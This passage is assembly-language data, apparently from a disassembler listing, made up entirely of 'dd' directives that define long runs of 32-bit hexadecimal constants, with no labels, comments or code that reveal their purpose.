		dd 8EE6A90Dh, 0B0E99832h, 0DA47F033h, 0E81A7797h, 9350019Fh
		dd 6D49CBA3h, 16018031h, 0D81512AAh, 3BA1488Eh,	0E91F882h
		dd 2C67395Eh, 17AAC21Ah, 3D22783Bh, 0EFB208D9h,	24993083h
		dd 0A1DFB562h, 6A2FA18Bh, 0A2F9281Fh, 567900Bh,	7DD5D416h
		dd 0E0BE39B8h, 79AA6540h, 292AB8BFh, 601CF9F4h,	8DC64AA9h
		dd 82C8674h, 6895A71Dh,	0AD9D8C2Ch, 74728029h, 0EFEEEB35h
		dd 0D126D147h, 4178F374h, 9CD5AC40h, 2DEF6731h,	4471145Fh
		dd 0BDA2C98Dh, 6ED6E06Ch, 0DA2D3138h, 0E73F0532h, 0BEE1BD1h
		dd 0C6E0C072h, 510C0FDBh, 813E0308h, 1A93C9AFh,	0AB61E592h
		dd 458A4892h, 1A44ED1Dh, 88057AFDh, 0F4B3DEE5h,	824E2C82h
		dd 11EB5AB0h, 0C918E8B8h, 0D57FBDF5h, 573AAF1Fh, 6CC37ACDh
		dd 156E4BA5h, 0EDD7014Fh, 3F158BECh, 235EE66h, 63135DFAh
		dd 540F7041h, 979B36D1h, 0FA3CE5FCh, 0D1EBE44Ch, 7D375D9Ah
		dd 0CF374410h, 0BEB9068Fh, 0A1526693h, 0DE02F1DFh, 42D399A6h
		dd 0DE54EA36h, 882525ADh, 9B990FCCh, 0ACE0703Ch, 0B53B1E37h
		dd 16F018A1h, 0D9109523h, 6CE2C730h, 779520A7h,	26E0DDDCh
		dd 7D52F24Dh, 0B03CFC45h, 6B4FE679h, 0F124B07Bh, 0D6A5AB8Fh
		dd 851B6BA5h, 0DA353A42h, 2B2778DEh, 0ACB733A0h, 5FCD39D3h
		dd 0C6FB4DECh, 4A7405FBh, 0B6C968Dh, 750066F7h,	0DB591F09h
		dd 0C29AE2A3h, 60B3D25Ah, 3C76305Fh, 0D67F5B74h, 1BBE3BC6h
		dd 7DA81F9h, 8829086Bh,	0E8887FD5h, 1F12B20Ch, 0A526C36Dh
		dd 573E79E6h, 0E6EF63C0h, 0FB47447Ah, 0BC99F001h, 7DB73DDh
		dd 73F83B38h, 0BA8467A2h, 0D123E8D2h, 2C272459h, 6693A555h
		dd 0DF5E512Fh, 0A50E1F8Fh, 0C45484D2h, 0B606567Fh, 40CAF087h
		dd 0A4BCD6A8h, 1EBC387Eh, 3303576Eh, 86E6CEDAh,	9AAF158Ah
		dd 29339187h, 41897A9h,	614950EAh, 0F46221E4h, 0F5AB7C18h
		dd 5EA81AEAh, 0E50F5458h, 0BF2AC18Dh, 0CB22B351h, 0F080A109h
		dd 0AB237EE5h, 781F8D77h, 2F2A9917h, 0E0FF6F7Ch, 0DF8185Fh
		dd 4AF8ABC8h, 4BEA3B69h, 36260359h, 0C2E8540h, 0FF022204h
		dd 3B52AB3Eh, 0D68FE1F1h, 0A3DD446Ah, 0B5A1ED1Bh, 15396841h
		dd 45B0AD57h, 0DA70C25h, 0AA828607h, 0D14DD5D9h, 6B4F415Dh
		dd 9A8E8FE1h, 8A0C0C1Ch, 0F4069CA6h, 39D3846Fh,	76D548E2h
		dd 73968FD3h, 0CBFDF0D6h, 1F068141h, 8AA6E13Ch,	6B9DC1F3h
		dd 4554BB2Dh, 0BFA6BD84h, 0E6A27314h, 0A68A7DFAh, 552B4522h
		dd 0B5AEB814h, 0C0F2895Ah, 0B353C2FEh, 0AF0EEEADh, 0E2FC22Fh
		dd 75D47F43h, 47A54A6Dh, 945B51B4h, 7DD99F48h, 394DEE34h
		dd 36CB70DCh, 38685A2Bh, 0A69AB1BCh, 0F170966Fh, 53F0A90Eh
		dd 7C282D04h, 0DCBE136Dh, 2129700Ah, 0FB326A20h, 111C4BCAh
		dd 9C3B44Bh, 0E88197E1h, 0CF82842Dh, 66837791h,	0DADD961Dh
		dd 39331E35h, 0BEA60ABFh, 49F6EAE1h, 8A97AD3Fh,	8B59853Ah
		dd 3C988268h, 0F3FD1A28h, 0E755E429h, 4C2F72Ah,	4D088A18h
		dd 0B360297h, 0DDE2E07Bh, 1B0ADDFDh, 0CBD8A637h, 171901DEh
		dd 0D711A0D3h, 0BFCF4B4Dh, 67AAACBAh, 0C05BD9F8h, 0AB2F279Ah
		dd 84B64D4Dh, 790E8206h, 773C6279h, 0B76DD526h,	8D25F2B4h
		dd 62C9080h, 0CBDCAA28h, 0B8017019h, 7A36B8BEh,	5374CD6Eh
		dd 4D6D75FFh, 6AD057AAh, 0C825DBFAh, 0F28F05EEh, 9E85A0D6h
		dd 1C33F996h, 0AE0FAA09h, 81EBC2B3h, 9358081Ch,	0FE7EAB13h
		dd 91D98881h, 0F92FEA82h, 32CA9084h, 74E95C9Dh,	0A37C9E9Fh
		dd 0D47FA9FFh, 2FE1CADFh, 0BF0B60DEh, 0C02C7C3h, 0C4C17546h
		dd 0EB791541h, 6E738C03h, 3E506DD6h, 0F6069B41h, 0EF3D3999h
		dd 0FB85D20Fh, 81EB70A4h, 0D8FA925Eh, 88F2DE95h, 42D1F0F1h
		dd 6673558Ch, 0F03D053h, 0B3FDA916h, 0DE43E6D7h, 259448AAh
		dd 5CEE5E07h, 87619842h, 940CBD6h, 0F1738C1Fh, 1BA5343h
		dd 8173268Ah, 0D551B612h, 0E187849h, 4EC13135h,	85A04FB9h
		dd 4812A2A3h, 6AA163D2h, 0B65E6FB9h, 0D0FC4C72h, 2AA81098h
		dd 3E228B89h, 0F9DAEF4Ah, 2A4C39A2h, 0ED4BE39Ch, 1610EF8Eh
		dd 421F8DB3h, 0C440BF73h, 13C38FE7h, 0DB3318CDh, 59713110h
		dd 3ECB43F1h, 0F47FE010h, 44FE006Bh, 0D1FCE079h, 0D92CC52Bh
		dd 0F85F8DA1h, 9ED9A02Ah, 0DCADF5B1h, 0DA32F4B7h, 18DB639Ch
		dd 0E0F263C7h, 0E817403Bh, 0D0E76774h, 5F643F05h, 8198A824h
		dd 9F02940Bh, 240C0F01h, 23E90F51h, 0B4FB2971h,	29CF41D5h
		dd 0B3686F11h, 50E050FAh, 0B46895A5h, 9B7B5C6Bh, 0F4F857CFh
		dd 0FA2A15B8h, 0C6DCB9A8h
		dd 318D2E0Ah, 6B119C0h,	0A0477370h, 0A4BAD5B5h,	35CAA222h
		dd 8186269Ah, 87A10E66h, 5D500937h, 5F6C1407h, 9EB3729Fh
		dd 39D43F15h, 0C2A083F8h, 34CF2E9Ch, 62891434h,	97EE2CA6h
		dd 0B16481A8h, 5F990B45h, 8B9F8AA9h, 0BA671DAFh, 3C1E925Fh
		dd 973589CBh, 7725FE7Bh, 3D443A3Dh, 3EEA8FEh, 7BB415EAh
		dd 0D04AEE2Bh, 153B41B3h, 0B2FA442Fh, 0BC06BDB9h, 0B43F0983h
		dd 8B87BF7Ah, 3A241408h, 923693EFh, 81F55E39h, 916CE28Eh
		dd 25BA9CBDh, 0A1572040h, 0BFEC3CA3h, 0E1EE561Dh, 2D139939h
		dd 2FE57B02h, 72FD96AFh, 0E5143D2Ah, 399BFC68h,	0C32792Ch
		dd 7DDE38Bh, 101712FAh,	9A181E2Fh, 97F9DAA0h, 3411FDC5h
		dd 46688D53h, 6D30F015h, 0E214FACAh, 30BD8099h,	0FB7C2ACAh
		dd 379F9AE7h, 0F5D052FBh, 0C16B2B45h, 0CB9D0998h, 0C1D09537h
		dd 53F50846h, 0DD448337h, 7B2ACCBDh, 26DFA976h,	79F16AAh
		dd 0D35684B6h, 3FC44D0Eh, 0C805777Dh, 1A9E2FBEh, 0E8881671h
		dd 0BAD62C88h, 64F5495h, 0A3E152A3h, 0DC9AA604h, 0D3B22C18h
		dd 0F43B3D5Dh, 8B1AC72Bh, 76BF7503h, 9C3B452Eh,	0B8E11B4Dh
		dd 0DE31941Eh, 2D54C3D5h, 0B81CCFC0h, 2CDE6C92h, 5FEEF896h
		dd 0F826789Ah, 17C0BAE4h, 950853B8h, 35C1F414h,	3333C30Ah
		dd 0B285663Eh, 0EB0446D7h, 1D1F5ADDh, 0A2957FD0h, 0C32B5C1Eh
		dd 145703E2h, 825F7FD0h, 52FF2D37h, 0E6F710FBh,	0F08A2D14h
		dd 0DA5C4627h, 3B802DAh, 0CCC7802Fh, 0DDDD925Ch, 0CA41E561h
		dd 0AB6BF5FBh, 0F0C8C802h, 6FB56450h, 0EC9F7E40h, 8237CA03h
		dd 5E9EC0F6h, 33B4A3B5h, 2B3D68ADh, 0D9FF7AECh,	3C39C7ABh
		dd 82291958h, 0C65FBC97h, 0CA3C738Bh, 92F2D7A7h, 0C05BE37Ch
		dd 762C3424h, 34340591h, 2C5AC409h, 0A474FDBDh,	0CA5B980Fh
		dd 0C09C97C1h, 0E5656F08h, 10A9148Eh, 0F55873E2h, 0DB2E539Ch
		dd 6236C7AEh, 0CB456ADEh, 0A00B7F73h, 1809C7ACh, 377417A5h
		dd 0EBA695A0h, 49DC40Ah, 355A51EDh, 1B0E9F26h, 0F0B289CBh
		dd 84E34E21h, 0F3EDFBB8h, 32F5974Fh, 0B45B08DAh, 27EFC1BCh
		dd 0D6B45A6Bh, 0ED0E5066h, 9762A30Eh, 625F0E93h, 0D55F5359h
		dd 80C267C0h, 14FA60Eh,	0FA646BBAh, 0DBE5370Dh,	81B70AD3h
		dd 0C3A0E1CCh, 0FB381F1Fh, 96FD8958h, 708899F8h, 0EDFB9F29h
		dd 0B02CFFBDh, 4D9A5DE5h, 0FCE4DDDh, 0A8707911h, 0AABB4CDDh
		dd 0EF607CFh, 73994661h, 2F1352B5h, 4324ED93h, 0DC4C602Eh
		dd 626BAE6h, 0B695990Dh, 8E748508h, 9F140D79h, 0BE2C0F4Fh
		dd 0CF96A75Ah, 0A1F88E24h, 0F013267Fh, 74BD502Ah, 0BDA3ABF0h
		dd 0E347D612h, 0B17FDAEEh, 7EFB429h, 93E092E3h,	0C78562CDh
		dd 2D90C492h, 0D5E55590h, 6D773AEDh, 507AE4D6h,	0D0259982h
		dd 0FE899EF6h, 0E968069Fh, 1DC70BD1h, 79AA9436h, 237C1CA3h
		dd 2E711400h, 0A0F4150Bh, 4A4B0C4Bh, 51DEDE0Fh,	0A63DC4CAh
		dd 0E8C101FAh, 29CFB71Eh, 15D5595Ch, 0F8F82793h, 0A285F835h
		dd 39054B74h, 5FF363B3h, 5DAEAB5Fh, 4FD292B4h, 401D3D29h
		dd 0C820FCA7h, 0E7BC102Ch, 5D57D852h, 0A51C8197h, 50F13458h
		dd 987E1BCBh, 2F71E4C3h, 0D7264D86h, 968F4562h,	77E5F303h
		dd 2F2AA6DFh, 0C9FDD935h, 31BBFD50h, 0CEA154A5h, 676025FEh
		dd 1FEFCCC3h, 6A0918DBh, 0D919DBA0h, 0DB4AFE8Ah, 31379789h
		dd 3BF9AD59h, 62D6A182h, 8F3EFEh, 741E7095h, 0DFDA36AFh
		dd 7A3FBCD8h, 0B2A80165h, 0A928DA7Eh, 0C42FE581h, 0E161365Dh
		dd 9D129D06h, 0FB2321C0h, 3CD4D19Ch, 0D6E3E48Ah, 69655C1Eh
		dd 5450087Dh, 51E0DCF6h, 542AC0BBh, 0E28925F2h,	0D6BF2725h
		dd 62B368C6h, 0CF04AFEFh, 0C56D1206h, 0EDD4DC09h, 8A86F980h
		dd 89285AC0h, 93E15268h, 0C0FC8A20h, 3284EB3Dh,	5BD15E1Fh
		dd 0AB31C886h, 894FE113h, 53EC029Fh, 3471CC58h,	0FC0C057Ch
		dd 0F86E1FDFh, 0AD0FC1F5h, 540C4C47h, 0C63C8707h, 9B17358Dh
		dd 0B4491700h, 0D9A1AFE0h, 4AEE7FB6h, 88C7AAFDh, 5152EEA3h
		dd 5FF7986Eh, 978F812h,	1DB54A61h, 6A0C1C35h, 294BB851h
		dd 4F5D8653h, 8DF96B9h,	0EDF6F26Eh, 0D7B38AD2h,	0D5B2E432h
		dd 76F8781Eh, 949FDFB1h, 0D7018EA9h, 4B82AF52h,	6C46E952h
		dd 61F8A97Ch, 982FF97Fh, 4747C86Ah, 0B60073A0h,	0D380A9BDh
		dd 53C6A9C0h, 0D86CA454h, 6B45C5D2h, 39B47A0Ch,	0F97E873h
		dd 0F1D250E1h, 0AD114B7Eh, 125F5A51h, 3CC37DBDh, 1F12F98Bh
		dd 8265A37h, 3BCFCDD1h,	50D0E463h, 0B81A42FFh, 684D8495h
		dd 0F9F1B53Dh, 151E18EFh, 79DA709Ch, 9246DA1Bh,	1B553C42h
		dd 0D8BA3E44h, 80B7783h, 23C73993h, 40BEA125h, 0CF5118A5h
		dd 5150CCD4h, 0AD1E68DCh, 4FCEB6BDh, 0BBCEA896h, 520925E8h
		dd 0BA72EB57h, 82FC8ECDh, 3895C818h, 4A5A5A64h,	0D0E3363Dh
		dd 77204039h, 0D9FBB174h, 3303722h, 0E9549D1h, 0E6D8ED4Eh
		dd 82FE8FB1h, 0C1F54170h, 3D9D4C96h, 8BCB12EBh,	4DA20533h
		dd 6C66F8D9h, 383E25C9h, 0DBAB3E87h, 0E3336F2Bh, 98BF819Ch
		dd 4CA9651Ch, 0F93F6255h, 22BD050Fh, 6039EE18h,	7BE6579Fh
		dd 121EAF42h, 0B3C100B3h, 5E541B95h, 4984EFE7h,	2A189F03h
		dd 4125FC32h, 6B5839ECh, 0F2DCADCAh, 9C89F385h,	55547A4h
		dd 0FCF30FE0h, 312ACC24h, 0FF0AF42h, 0A60F8128h, 78F1BAB7h
		dd 0D7A1C550h, 0B4B45D2Fh, 8D28DD5Bh, 0C383CA14h, 0E11904ADh
		dd 67F96102h, 0EC242EDFh, 0B78A2581h, 0E0C23ED2h, 0DF03B0CBh
		dd 76A44A25h, 97C90236h, 0C2E5C1E7h, 0C71E8694h, 262AD444h
		dd 3ECD4450h, 1C236B7h,	0F9556F24h, 0D9B6C1BBh,	76731B15h
		dd 19D8F964h, 5678C039h, 7ABE6A92h, 0EBF2769Dh,	4D8DB41Dh
		dd 7F5B5B47h, 46FFA1C3h, 0A91E7DA5h, 753E463Fh,	83C68982h
		dd 94E717C7h, 0AFE07C17h, 0CC85BF31h, 0F7E02A75h, 0E14A5AA8h
		dd 119F097Bh, 9D568CFBh, 0A0ACA0FDh, 6890BA62h,	367FB9C3h
		dd 5935206Bh, 5D27BABBh, 3B5C1642h, 59C7106Fh, 0E766BD66h
		dd 0E391AEC8h, 1176502h, 0C5D2E78Bh, 0A6617844h, 33314974h
		dd 0D8CBFBA5h, 0F37BE8CAh, 4E9C2843h, 5ED18C0Fh, 6E7725C2h
		dd 0F85692B8h, 0C099E290h, 83DE9FB3h, 81E972A8h, 9D0FA2D8h
		dd 0D7E9B4D3h, 1A053F5Dh, 0F040655Fh, 1B8C0F3Eh, 5B8989F0h
		dd 5E01B936h, 88E4F556h, 0FE68362Ah, 9BF5587Ch,	2D55FBF4h
		dd 0FD407BF6h, 9CC8C357h, 675123C3h, 0E0F8614Fh, 1E4BB48Bh
		dd 34F9E89h, 68D9C8BDh,	9AFADE07h, 0C7A0D943h, 0AB45F867h
		dd 0B4D348E0h, 2EF82F76h, 63B38A6Ah, 0E87C6717h, 4DBE5E1h
		dd 0C4A806DBh, 9725AEDh, 0B0252C0Eh, 9FCD62A8h,	54647Dh
		dd 0EA42DCD1h, 0DE1AAC6Dh, 6C35BB8Fh, 656A84B1h, 627AE200h
		dd 2BAFD98Ch, 0B42D71B5h, 0B07E0744h, 0D3D8F1F1h, 38796FFh
		dd 42C59FCDh, 6F52D022h, 88A2A4ABh, 2D25417Bh, 42FAFC1Ch
		dd 9FCD9485h, 58712763h, 39ECB474h, 0EA2A37E1h,	0F0B258F8h
		dd 0FC3C56DDh, 9F8565F0h, 0B2EF7E97h, 821B7B57h, 0C0F03D64h
		dd 61B8E02Dh, 0DDFCAAD6h, 8BC5EF7Bh, 0CBAF29B6h, 42F03E6Bh
		dd 2D462AABh, 79DEFB3Ah, 94AA36E1h, 0C395BD83h,	7B1C4CE0h
		dd 79F1F106h, 82AF68A4h, 0E4B55C77h, 1A5BE7EFh,	9DAAC797h
		dd 52C90BFCh, 0F04E4615h, 0F9A57C6h, 0E7C65180h, 57B9C807h
		dd 9D16CF13h, 0D8ACD6F8h, 7A17CC8Bh, 144658A0h,	2A78BAF8h
		dd 1E36F39Dh, 0EF92E260h, 0D5EE188Fh, 58D7BBC7h, 2AADD431h
		dd 6BC4C2C2h, 0BD80618Bh
		dd 578293ADh, 1C06D511h, 62523EFEh, 3770B386h, 6FA3EE8Ah
		dd 29EFBDACh, 38581DA1h, 326A0591h, 75DA8C9Dh, 0F7DC55A9h
		dd 27B173D5h, 42F6D5C1h, 0BD02EBE7h, 54970A40h,	0B07C2821h
		dd 65470BA5h, 7E315802h, 85BACD73h, 6F4BB025h, 0BB5FA2EFh
		dd 6C30423Bh, 50B430BCh, 14B6A597h, 3052D1F2h, 7C106DCDh
		dd 0DAD44713h, 0E2A8C4F9h, 0C063A783h, 0A9552BDBh, 7F74F858h
		dd 0BE96148h, 0C205E91Eh, 3B5B1012h, 2FC7A959h,	57276FAFh
		dd 940A3E8Bh, 0C5B018EFh, 20AA8834h, 4EA85609h,	0FC0CC4Eh
		dd 84829224h, 217AF136h, 0E82B6C6h, 0A02BADFh, 7244BBE9h
		dd 68E5181Eh, 3D9B3BC3h, 0C597F7D5h, 0E8DF2831h, 7F3CAFFEh
		dd 7E076887h, 0DE576136h, 94E1EBA3h, 9EBFBA8h, 0F412BFFEh
		dd 0A5DDA5B8h, 4788A528h, 0EC48D694h, 700ED175h, 57A5D487h
		dd 0E0B25085h, 0F2F11ABAh, 69F7509h, 0BE4B54FDh, 2F8CCE4h
		dd 0F54236F9h, 0EEAB581Fh, 978BBB03h, 95F0784Bh, 3ADBB8D2h
		dd 0CD5740CEh, 3B09EB51h, 61BC1CAEh, 19F88FDFh,	8B79DD59h
		dd 66E073A4h, 87BDFCC2h, 59B7A041h, 85B3E168h, 0D9DCA842h
		dd 0A7F9C0F2h, 0F3315E7Dh, 0A206A967h, 7B366662h, 0D2ADBDBAh
		dd 0B3C124D6h, 0C7C64D1Ah, 0A4544BF8h, 76990CC9h, 403E291Dh
		dd 0A9C79C15h, 0BFB925ADh, 2588059Eh, 289607EDh, 0F4E7FCFCh
		dd 5FDC7A2h, 0BA2E897Fh, 347F1178h, 0F1AC3273h,	26F32DF3h
		dd 0F4A36CF8h, 4A0FDDBFh, 20EF35B9h, 60A0BF14h,	0BCB55DF1h
		dd 6E51C812h, 3EA2521Ah, 0B411A1ABh, 818DF953h,	98547B0Ch
		dd 0DD61053Ah, 0D849075h, 7865224Ah, 1115A7C0h,	16B56D3h
		dd 0C654A53Fh, 88968ED6h, 0D75DE42Dh, 0EB70DF2Eh, 555165D7h
		dd 2274E780h, 2A4AC1C1h, 0E6C7541Bh, 2FB7CAAEh,	0D2D1BC98h
		dd 47E9F02h, 0D3A4E28Bh, 0C3BBA67Bh, 0BE85150Dh, 0AF8218DDh
		dd 92D32DC0h, 0BA38F52Ah, 0DD75A25Fh, 7E0CBDFDh, 0F0F7E456h
		dd 771AE50Eh, 0CE33D8E4h, 0AF96A97Bh, 7AE5CD12h, 70703E82h
		dd 0F16BCC6Ch, 0BFC3DD12h, 0B5AFC6E4h, 3FDF22B0h, 34F2E11h
		dd 50703EDCh, 0D05C54B1h, 4E14525Bh, 46FD7AA9h,	0BA5AAAE9h
		dd 0C93C8625h, 0E7AC6079h, 1DCA3533h, 8CDF07EFh, 0F00A90BFh
		dd 501C4BCEh, 0DB66A103h, 0AF3A3E38h, 0BF7D7CA4h, 1720ADAAh
		dd 0DBE8D0F2h, 0EDA7CB3Eh, 2542D1ADh, 0B5029A9Ah, 82C1E696h
		dd 868607B3h, 25B242A2h, 27709759h, 3AA9AA98h, 0AA2417C0h
		dd 62ABFCC4h, 40862098h, 51F56E61h, 997690C7h, 3ECAB4C1h
		dd 14C09493h, 753A5E82h, 33BEB5B8h, 2B2390B1h, 51FB4321h
		dd 0F8895404h, 39696A13h, 0A67FE768h, 95CC435Fh, 0C10CC4AEh
		dd 9CD862Eh, 0C6086CACh, 3F2BC00Bh, 9D3FE81Bh, 7A156735h
		dd 0ED8404D3h, 0C8977238h, 0D7A76668h, 0A66368D4h, 0B73B17C4h
		dd 6E87E560h, 0D212AD30h, 8EF01A41h, 0DB1CE225h, 9706AF2h
		dd 0E22AD68Bh, 269B9985h, 751EC6B1h, 39BA158Ch,	8AE5CF2Dh
		dd 0E443B1B3h, 0DCB4B12Eh, 8FC11B34h, 0E0DD2FF2h, 380FDD5Ch
		dd 7220255h, 0DCCE36C1h, 5083AA89h, 8D575426h, 8C38269Fh
		dd 29D2E015h, 0F7E043F0h, 72B9C21Ch, 1E12A62Dh,	0B4C39FC6h
		dd 5925615Fh, 0A45C9CBBh, 0FE687E3Fh, 952C043Fh, 16EC463Eh
		dd 0B2346FC7h, 85AC0F64h, 595686EAh, 0D5BAE5B9h, 7B7BBE31h
		dd 648B6F1Ch, 46BAEAD5h, 0DD438905h, 5F5E4C1Ah,	938747A6h
		dd 0F7C6142Ah, 8137FB43h, 6E04548Dh, 4F5602C8h,	0DC24C1E2h
		dd 7A810C5Bh, 8A8A80AEh, 92520CBAh, 0A781AD2Bh,	4B980DBDh
		dd 1D05DBFBh, 2D117DB4h, 8EB6A6EAh, 7DEBE0EBh, 0F581BF07h
		dd 27B7ACB6h, 0C4AB715Ah, 19B6FFB3h, 8B8DE74Eh,	74C167FDh
		dd 0E56E126Dh, 0B593DD00h, 0B7B7AD76h, 1D0A64EEh, 15B423D6h
		dd 8E4E0D46h, 56D8EC0Fh, 0AEC4A985h, 0DC4B11BBh, 0B1AC4C0Eh
		dd 0B733E02Eh, 9F96AEDDh, 81BC793Eh, 0E457AB2Ch, 0D7D40F16h
		dd 27251447h, 6BD45324h, 0F84E1736h, 0AC32D9B4h, 34057AF5h
		dd 0BA9E2FBBh, 688D6085h, 1FEFBFABh, 9EFCB4DCh,	113D9A2Ah
		dd 5CE9425Eh, 45E8046Bh, 14E42F4Fh, 0B6B709BDh,	0BF4BBC39h
		dd 37166F82h, 9705C6D9h, 0FC9F816Fh, 0C7AC73F5h, 0A8F0566Ah
		dd 496F670Ah, 4397B91Ah, 3747E43Ah, 1F894A96h, 256D6B79h
		dd 4AB3EDFDh, 7A1D3EBFh, 0C561CBC7h, 0C6543147h, 7A95896Bh
		dd 303F1B64h, 0BA924B39h, 0C124E975h, 6CB42F77h, 362D5016h
		dd 34B40B44h, 3AB5523h,	57BC2E6Ch, 5B878BBAh, 0BA861DB5h
		dd 0B2824EEDh, 7E6830A6h, 40E3735Fh, 8BB80860h,	7FB9FADCh
		dd 1740E1ADh, 58A82FD1h, 0C8E435BAh, 0EC80AEAFh, 91B8AAE4h
		dd 0FEF54042h, 0DED4D720h, 12D17895h, 578BAE42h, 5F9F7D5Bh
		dd 3E282EFh, 0F93AF2FFh, 2D2C7F83h, 1781F545h, 7B2A155Ah
		dd 399BC082h, 84E7654Fh, 0B12B908h, 9EDA40B9h, 456D1C2Ah
		dd 84B61113h, 0E33598E9h, 7C548FFDh, 0F0699CD8h, 89FFC5FBh
		dd 0F9F3ADA5h, 0F42FBA7Ah, 62F861E2h, 109E95A3h, 494E46F3h
		dd 0D0DE559Bh, 599D0E2Dh, 2C881478h, 38E19ECFh,	0E6DF4BD3h
		dd 6ED504EEh, 0C1A32B7h, 0F1225BA6h, 0EACE54E4h, 3C966439h
		dd 0D1D46E6Eh, 48E613F0h, 0FDFEDDFCh, 0BE74067Dh, 547DEC7Bh
		dd 4B4956B7h, 0BB457EFDh, 11ECE0EEh, 3D7614BCh,	75EC4FB1h
		dd 66DAA4EDh, 9F6F7161h, 0A1939787h, 0FEEB9CA4h, 0E1B99223h
		dd 75A5F81Eh, 7F9A9D05h, 0C30B67F6h, 20848FE4h,	6173EA39h
		dd 0F9AEB6B1h, 626A96ECh, 0C921F8E2h, 4CD46AB0h, 0A731F025h
		dd 2965D370h, 719EFF3Bh, 2E2613E5h, 0F8462F71h,	4B59215Eh
		dd 7B64AB7h, 0D9CD8FA0h, 0EC819AA9h, 0CD65FE03h, 6D8E9BECh
		dd 67F30807h, 331F1EBh,	0F3734188h, 0F3CE29Ah, 0CC09BB9h
		dd 0B8E2685Eh, 8C5FF203h, 1974388Dh, 5A20F9BDh,	36A1D365h
		dd 0BB52156Fh, 0B4FA09EEh, 0F72CFB32h, 8B866DD2h, 0D2B86B6Ch
		dd 0EE002BB5h, 961C5CC3h, 0AF1FC77Ah, 3084A873h, 2E8562C8h
		dd 49F5D9AEh, 8699DA74h, 67BC3F15h, 0B7A7D11Ah,	0EA40B03Eh
		dd 3F870209h, 6EC4D548h, 0E15F8DAFh, 6F0B83EAh,	8D28908Ah
		dd 44981396h, 0BEA4FB88h, 0ACDF90C1h, 0B02F2BC0h, 4FD2DE2Ch
		dd 227EB0C4h, 7C942718h, 6A9D9A4Ah, 5A70567Ah, 5640D7A5h
		dd 6D5CE326h, 7C0C4517h, 0F62AD950h, 4032AF54h,	9877C31Bh
		dd 6BD0AC6Eh, 8BB2315h,	1B440791h, 0D8A92B51h, 0B67FC2EAh
		dd 6924E0D2h, 0F56640A4h, 690D0D69h, 736145C0h,	0A43CE062h
		dd 7E6F381Eh, 5B2253Eh,	0FDDA2C37h, 66ED6F9Fh, 6113F11Eh
		dd 4BB74C75h, 2C3E7806h, 65F9633h, 38125128h, 7EDC8DA2h
		dd 0D3E0DFFh, 0F1E37C3Dh, 871E3CBEh, 24941DECh,	6B2C5FF7h
		dd 86A757D5h, 0A52D7741h, 0BA0CAE3Fh, 17A37FBEh, 0AEDC97B9h
		dd 9FC4C096h, 0FDB51A02h, 8A94498Dh, 2F3851E3h,	39D7E7DAh
		dd 645C6300h, 0B7FB0677h, 0E6E156Ah, 6705FB3Fh,	0DD77834Fh
		dd 529BDF8Bh, 0FC3D525Eh, 5F60BF23h, 0F120ADF5h, 8237D1B0h
		dd 5E926C1Ch, 0F1A61961h, 0DA86AD16h, 8EA3F0EBh, 185D48A3h
		dd 6FDBEEE2h, 0AD7F7620h, 28DA2BEAh, 87416746h,	66F2CE11h
		dd 6065D9AEh, 90580FA0h, 73D28E39h, 0CB3A9908h,	73B9D5Ch
		dd 3F0FD576h, 4A2D19FEh, 0ED36CA9h, 7ED9DC66h, 472AF785h
		dd 0BDDF62FDh, 1F03380Dh, 8CA045F9h, 73EB41EBh,	32C539A0h
		dd 44E5C346h, 72C5E102h, 7D8C8F2h, 0C3F8E5h, 0CE7A5DE0h
		dd 7EF8DAD0h, 0D9FB9054h
		dd 0A19E9ABAh, 3A2594A5h, 4403EC89h, 9456F66Ah,	0CF07C107h
		dd 761E6F95h, 6AD1ECBEh, 637BAA2Ch, 1F3DE593h, 4F565938h
		dd 0F6FD2DBAh, 65348F93h, 8C0DECC0h, 67703CAFh,	1F87BB06h
		dd 78F6BE43h, 0F0D278C0h, 2E2AC749h, 485C4130h,	37390AA4h
		dd 2A32DA61h, 2CBFA732h, 59EC7BCCh, 0D20D6F01h,	5D3F2D2Fh
		dd 0C51D2FF7h, 0D1F3310Ah, 6F8EFD60h, 5D08A010h, 726E910Ch
		dd 93E3180Dh, 3B8F55A3h, 10FB4005h, 0AD4B11E7h,	5E7A89ADh
		dd 0CCA8404Ah, 0A740B35Dh, 3D81AC57h, 0BA7E8ED6h, 0A7D1259h
		dd 2C8C6322h, 94B52A4Ch, 0A5D2A771h, 30837AFh, 593D0A5Fh
		dd 247647D9h, 5D06FCA9h, 0D415531Ah, 5B32C862h,	5A84ECD7h
		dd 62752F20h, 1AFBF3E2h, 0C5A87ED4h, 0BF6BDD71h, 2D5D5F17h
		dd 0FD560BBDh, 8AC52C3Dh, 0D80E1872h, 0BF980816h, 5A1E25A2h
		dd 57E787C3h, 9FC5D313h, 9A72818h, 7C241C62h, 74DE0F01h
		dd 727ADCF7h, 8286B6EEh, 47A7DE40h, 0B0EB3DC2h,	706CAA0Ch
		dd 464EAAA2h, 4B7C622Ah, 189D9F12h, 826DA5FDh, 9CC698E0h
		dd 18DFD5F9h, 0B1E9DF29h, 6F9AD01Bh, 17B8604Dh,	0FA2AD2D9h
		dd 572825FBh, 6E175CDAh, 943F1106h, 953B8A79h, 0CC7A2ECEh
		dd 5A0CDEF4h, 0FB05F3C0h, 0F9CD74D8h, 62FFBDFCh, 0BA88BF3Dh
		dd 5ECCA545h, 5B051A95h, 35DCF547h, 0D6DB4F9Eh,	4CB5787Eh
		dd 0FA9F48A8h, 0DEDFB1E4h, 0C2544D0Bh, 0FFF75781h, 0E2EF26B9h
		dd 373AC47h, 6670B4D5h,	0F3789EE5h, 0E01769FBh,	9E646FCh
		dd 58572013h, 1DD58BB6h, 832BD3F0h, 0B2AA055Ah,	3BA43F01h
		dd 1FFE04BFh, 7E5B81FBh, 0F67397EBh, 797E7F37h,	7997FA17h
		dd 0E38AC62Ah, 139D50F3h, 3ACA8605h, 67DA1366h,	0EB4B33A6h
		dd 65F6D52Bh, 742C43EDh, 939EEA7Ah, 10B5A46Dh, 955E1342h
		dd 553B53EAh, 0FE053729h, 0FA49150Ah, 8FC60F90h, 5C031706h
		dd 0AFDBA7F9h, 507DAB9Bh, 0D7867860h, 0AB5A2856h, 0D84B15Ch
		dd 0EC0DDAE7h, 0BE86A320h, 95C010C6h, 7E676107h, 0CA5D978Ah
		dd 8C634514h, 7A6C50ACh, 0BD78B613h, 352B4F47h,	0CE1793h
		dd 0F72C4610h, 10FB4578h, 4318991h, 0FB65DECAh,	0EB4ADD37h
		dd 0F0651675h, 4F744144h, 0B17C1ACh, 0A9B877B2h, 3C48FB4Eh
		dd 1050C975h, 3E47052Ch, 3ACF450Fh, 0BEAC1E8Bh,	2AD558DEh
